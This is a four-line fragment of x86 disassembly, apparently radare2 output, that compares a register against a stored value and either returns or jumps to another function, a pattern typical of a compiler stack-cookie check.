cmp ecx, dword [0x42a1cc]
jne 0x4118b4
repz ret
jmp fcn.0041938b